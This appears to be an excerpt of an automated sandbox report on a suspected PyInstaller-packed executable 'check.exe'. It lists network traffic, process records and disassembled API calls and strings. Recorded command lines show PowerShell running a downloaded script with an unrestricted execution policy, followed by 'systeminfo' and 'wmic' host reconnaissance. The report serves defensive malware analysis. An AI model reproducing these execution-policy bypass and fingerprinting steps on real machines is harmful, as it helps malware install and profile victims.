Dec 9, 2024 07:27:20.329853058 CET	49829	443	192.168.2.10	104.20.22.46
Dec 9, 2024 07:27:27.767117977 CET	49852	443	192.168.2.10	104.20.22.46
Dec 9, 2024 07:27:27.767160892 CET	443	49852	104.20.22.46	192.168.2.10
Dec 9, 2024 07:27:27.767273903 CET	49852	443	192.168.2.10	104.20.22.46
Dec 9, 2024 07:27:27.768141985 CET	49852	443	192.168.2.10	104.20.22.46
Dec 9, 2024 07:27:27.768156052 CET	443	49852	104.20.22.46	192.168.2.10
Dec 9, 2024 07:27:28.984117985 CET	443	49852	104.20.22.46	192.168.2.10
Dec 9, 2024 07:27:28.994492054 CET	49852	443	192.168.2.10	104.20.22.46
Dec 9, 2024 07:27:28.994502068 CET	443	49852	104.20.22.46	192.168.2.10
Dec 9, 2024 07:27:28.995678902 CET	443	49852	104.20.22.46	192.168.2.10
Dec 9, 2024 07:27:28.995769978 CET	49852	443	192.168.2.10	104.20.22.46
Dec 9, 2024 07:27:29.068368912 CET	49852	443	192.168.2.10	104.20.22.46
Dec 9, 2024 07:27:29.068550110 CET	49852	443	192.168.2.10	104.20.22.46

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 07:27:00.900811911 CET	57620	53	192.168.2.10	1.1.1.1
Dec 9, 2024 07:27:01.037442923 CET	53	57620	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 9, 2024 07:27:00.900811911 CET	192.168.2.10	1.1.1.1	0x8053	Standard query (0)	nodejs.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 9, 2024 07:27:01.037442923 CET	1.1.1.1	192.168.2.10	0x8053	No error (0)	nodejs.org		104.20.22.46	A (IP address)	IN (0x0001)	false
Dec 9, 2024 07:27:01.037442923 CET	1.1.1.1	192.168.2.10	0x8053	No error (0)	nodejs.org		104.20.23.46	A (IP address)	IN (0x0001)	false

Target ID:	5
Start time:	01:26:21
Start date:	09/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:26:21
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:26:44
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe"
Imagebase:	0x7ff61c4c0000
File size:	38'750'516 bytes
MD5 hash:	A243FE9D1CFB5BF4E5C21C6E4861E09C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	01:26:50
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe"
Imagebase:	0x7ff61c4c0000
File size:	38'750'516 bytes
MD5 hash:	A243FE9D1CFB5BF4E5C21C6E4861E09C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	01:26:54
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe"
Imagebase:	0x7ff61c4c0000
File size:	38'750'516 bytes
MD5 hash:	A243FE9D1CFB5BF4E5C21C6E4861E09C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:26:56
Start date:	09/12/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff682f40000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	01:26:56
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	01:26:57
Start date:	09/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic computersystem get manufacturer"
Imagebase:	0x7ff7e0610000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	01:26:57
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	01:26:58
Start date:	09/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic computersystem get manufacturer
Imagebase:	0x7ff792560000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	01:27:04
Start date:	09/12/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 1132 -s 900
Imagebase:	0x7ff636e20000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	01:27:04
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe"
Imagebase:	0x7ff61c4c0000
File size:	38'750'516 bytes
MD5 hash:	A243FE9D1CFB5BF4E5C21C6E4861E09C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	01:27:05
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe"
Imagebase:	0x7ff61c4c0000
File size:	38'750'516 bytes
MD5 hash:	A243FE9D1CFB5BF4E5C21C6E4861E09C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	01:27:13
Start date:	09/12/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff682f40000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	01:27:13
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	01:27:15
Start date:	09/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic computersystem get manufacturer"
Imagebase:	0x7ff7e0610000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 4920, Parent PID: 5072

General

Target ID:	27
Start time:	01:27:15
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	01:27:15
Start date:	09/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic computersystem get manufacturer
Imagebase:	0x7ff792560000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	01:27:16
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe"
Imagebase:	0x7ff740fe0000
File size:	38'750'516 bytes
MD5 hash:	A243FE9D1CFB5BF4E5C21C6E4861E09C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	01:27:20
Start date:	09/12/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 3104 -s 908
Imagebase:	0x7ff636e20000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	01:27:24
Start date:	09/12/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff682f40000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	01:27:24
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	01:27:25
Start date:	09/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic computersystem get manufacturer"
Imagebase:	0x7ff7e0610000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	01:27:25
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	01:27:25
Start date:	09/12/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic computersystem get manufacturer
Imagebase:	0x7ff792560000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	01:27:29
Start date:	09/12/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 6132 -s 972
Imagebase:	0x7ff636e20000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	19.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	43

Executed Functions

Function 00007FF61C4C89E0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257
synchronizationwindowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF61C4C9390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF61C4C45F4,00000000,00007FF61C4C1985), ref: 00007FF61C4C93C9

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF61C4C3F7F), ref: 00007FF61C4C8A3B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF61C4C3F7F), ref: 00007FF61C4C8A56

Part of subcall function 00007FF61C4DA47C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4DA490

Part of subcall function 00007FF61C4D871C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4D8783

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF61C4C3F7F), ref: 00007FF61C4C8AE6
CreateProcessW.KERNELBASE ref: 00007FF61C4C8B1E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF61C4C3F7F), ref: 00007FF61C4C8B28

Part of subcall function 00007FF61C4C2C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF61C4C3706,?,00007FF61C4C3804), ref: 00007FF61C4C2C9E
Part of subcall function 00007FF61C4C2C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF61C4C3706,?,00007FF61C4C3804), ref: 00007FF61C4C2D63
Part of subcall function 00007FF61C4C2C50: MessageBoxW.USER32 ref: 00007FF61C4C2D99

RegisterClassW.USER32 ref: 00007FF61C4C8B80
GetLastError.KERNEL32(?,FFFFFFFF,00007FF61C4C3F7F), ref: 00007FF61C4C8B8B
CreateWindowExW.USER32 ref: 00007FF61C4C8BD5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF61C4C3F7F), ref: 00007FF61C4C8BE7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF61C4C3F7F), ref: 00007FF61C4C8C02
GetLastError.KERNEL32(?,FFFFFFFF,00007FF61C4C3F7F), ref: 00007FF61C4C8C15
PeekMessageW.USER32 ref: 00007FF61C4C8C39
TranslateMessage.USER32 ref: 00007FF61C4C8C47
DispatchMessageW.USER32(?,FFFFFFFF,00007FF61C4C3F7F), ref: 00007FF61C4C8C51
PeekMessageW.USER32 ref: 00007FF61C4C8C6C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF61C4C3F7F), ref: 00007FF61C4C8C7E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF61C4C3F7F), ref: 00007FF61C4C8C99
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF61C4C3F7F), ref: 00007FF61C4C8CAF
GetLastError.KERNEL32(?,FFFFFFFF,00007FF61C4C3F7F), ref: 00007FF61C4C8CB9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF61C4C3F7F), ref: 00007FF61C4C8CC7
DestroyWindow.USER32(?,FFFFFFFF,00007FF61C4C3F7F), ref: 00007FF61C4C8E04
GetExitCodeProcess.KERNELBASE ref: 00007FF61C4C8E19
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF61C4C3F7F), ref: 00007FF61C4C8E22
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF61C4C3F7F), ref: 00007FF61C4C8E2F

Strings

PyInstallerOnefileHiddenWindow, xrefs: 00007FF61C4C8B54
CreateProcessW, xrefs: 00007FF61C4C8B37
Failed to create child process!, xrefs: 00007FF61C4C8B30
PyInstaller Onefile Hidden Window, xrefs: 00007FF61C4C8B95

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction ID: 6ee2e73a86cad4f4e85518f3a6cd99a1fa1f3a2e7d44cde7e576e065e4bfb010
Opcode Fuzzy Hash: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction Fuzzy Hash: E2D15B32A0CE8286EB10DF35E8542ED2760FB94F7CF610235DA5E82AA4DF3CD5688754

Function 00007FF61C4C1000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 511
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF61C4C3D12
pkg, xrefs: 00007FF61C4C39BE
MEI, xrefs: 00007FF61C4C3933
Failed to remove temporary directory: %s, xrefs: 00007FF61C4C3FCF
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF61C4C3971
Py_GIL_DISABLED, xrefs: 00007FF61C4C3AF4
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF61C4C39DE
pyi-python-flag, xrefs: 00007FF61C4C3AD6
pyi-disable-windowed-traceback, xrefs: 00007FF61C4C3BB2
Could not create temporary directory!, xrefs: 00007FF61C4C3CBF
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF61C4C3C61
pyi-contents-directory, xrefs: 00007FF61C4C3B8D
Failed to convert DLL search path!, xrefs: 00007FF61C4C3DDC
Failed to load splash screen resources!, xrefs: 00007FF61C4C3E85
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF61C4C3882, 00007FF61C4C38AF
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF61C4C3EBB
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF61C4C3D35
_PYI_SPLASH_IPC, xrefs: 00007FF61C4C3A23, 00007FF61C4C3EF5
pyi-runtime-tmpdir, xrefs: 00007FF61C4C3B68
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF61C4C3B32
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF61C4C3A0B, 00007FF61C4C3CD4, 00007FF61C4C3F6B
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF61C4C3EA6
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF61C4C3A17, 00007FF61C4C3A2F, 00007FF61C4C3A9B
VCRUNTIME140.dll, xrefs: 00007FF61C4C3DB1
_PYI_ARCHIVE_FILE, xrefs: 00007FF61C4C38D2, 00007FF61C4C39FF
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF61C4C3BE8
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF61C4C3E0A
Failed to start splash screen!, xrefs: 00007FF61C4C3ED4

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag$pyi-runtime-tmpdir
API String ID: 2776309574-4232158417
Opcode ID: 7cdef767cca299725cebb861909846c71d82b2c4b8059a178a3dd349e605a571
Instruction ID: 82401b088abda3baadff1649677f9400bf7be09394eb6c124f403f70078a9d99
Opcode Fuzzy Hash: 7cdef767cca299725cebb861909846c71d82b2c4b8059a178a3dd349e605a571
Instruction Fuzzy Hash: 32327C21A0CE8291FB25D72594543FD67A1AF54FA8F644032DA5DC22E6EF2CE67CC318

Function 00007FF61C4E5C00 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF61C4E5C45

Part of subcall function 00007FF61C4E5598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4E55AC

Part of subcall function 00007FF61C4DA948: RtlFreeHeap.NTDLL(?,?,?,00007FF61C4E2D22,?,?,?,00007FF61C4E2D5F,?,?,00000000,00007FF61C4E3225,?,?,?,00007FF61C4E3157), ref: 00007FF61C4DA95E
Part of subcall function 00007FF61C4DA948: GetLastError.KERNEL32(?,?,?,00007FF61C4E2D22,?,?,?,00007FF61C4E2D5F,?,?,00000000,00007FF61C4E3225,?,?,?,00007FF61C4E3157), ref: 00007FF61C4DA968

Part of subcall function 00007FF61C4DA900: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF61C4DA8DF,?,?,?,?,?,00007FF61C4DA7CA), ref: 00007FF61C4DA909
Part of subcall function 00007FF61C4DA900: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF61C4DA8DF,?,?,?,?,?,00007FF61C4DA7CA), ref: 00007FF61C4DA92E

_get_daylight.LIBCMT ref: 00007FF61C4E5C34

Part of subcall function 00007FF61C4E55F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4E560C

_get_daylight.LIBCMT ref: 00007FF61C4E5EAA
_get_daylight.LIBCMT ref: 00007FF61C4E5EBB
_get_daylight.LIBCMT ref: 00007FF61C4E5ECC
GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF61C4E610C), ref: 00007FF61C4E5EF3

Strings

Eastern Standard Time, xrefs: 00007FF61C4E5F99
Eastern Summer Time, xrefs: 00007FF61C4E5FB1

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 4070488512-239921721
Opcode ID: c8e181fbda5929fcc8f6a75e148055e791a7ddaa32984997676ab034941af52a
Instruction ID: b21d6aa8829543409309a84ac0aff3a26544dbd28af45c1261d4ae210de0d37d
Opcode Fuzzy Hash: c8e181fbda5929fcc8f6a75e148055e791a7ddaa32984997676ab034941af52a
Instruction Fuzzy Hash: 5ED1B122A0CA5245E720EF26D4511FD6761EF84FB8F668136EA0DC7696EF3CE461C780

Function 00007FF61C4E6964 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF61C4E6698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4E66D9
Part of subcall function 00007FF61C4E6698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4E6757
Part of subcall function 00007FF61C4E6698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4E67A8

CreateFileW.KERNELBASE ref: 00007FF61C4E6A6A
CreateFileW.KERNEL32 ref: 00007FF61C4E6ABA
GetLastError.KERNEL32 ref: 00007FF61C4E6AEA
GetFileType.KERNELBASE ref: 00007FF61C4E6AFF
GetLastError.KERNEL32 ref: 00007FF61C4E6B09
CloseHandle.KERNEL32 ref: 00007FF61C4E6B3C
CloseHandle.KERNEL32 ref: 00007FF61C4E6C9F
CreateFileW.KERNEL32 ref: 00007FF61C4E6CD4
GetLastError.KERNEL32 ref: 00007FF61C4E6CE3

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction ID: d61f6f27c796161f3378eeabdbc3e0b663058682874857d3d58a0b0473e045c9
Opcode Fuzzy Hash: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction Fuzzy Hash: FEC19F36B28E4685EB10DF6AC4916FC3761EB49BA8F225229DE1E97795CF3CD061C300

Function 00007FF61C4C83C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

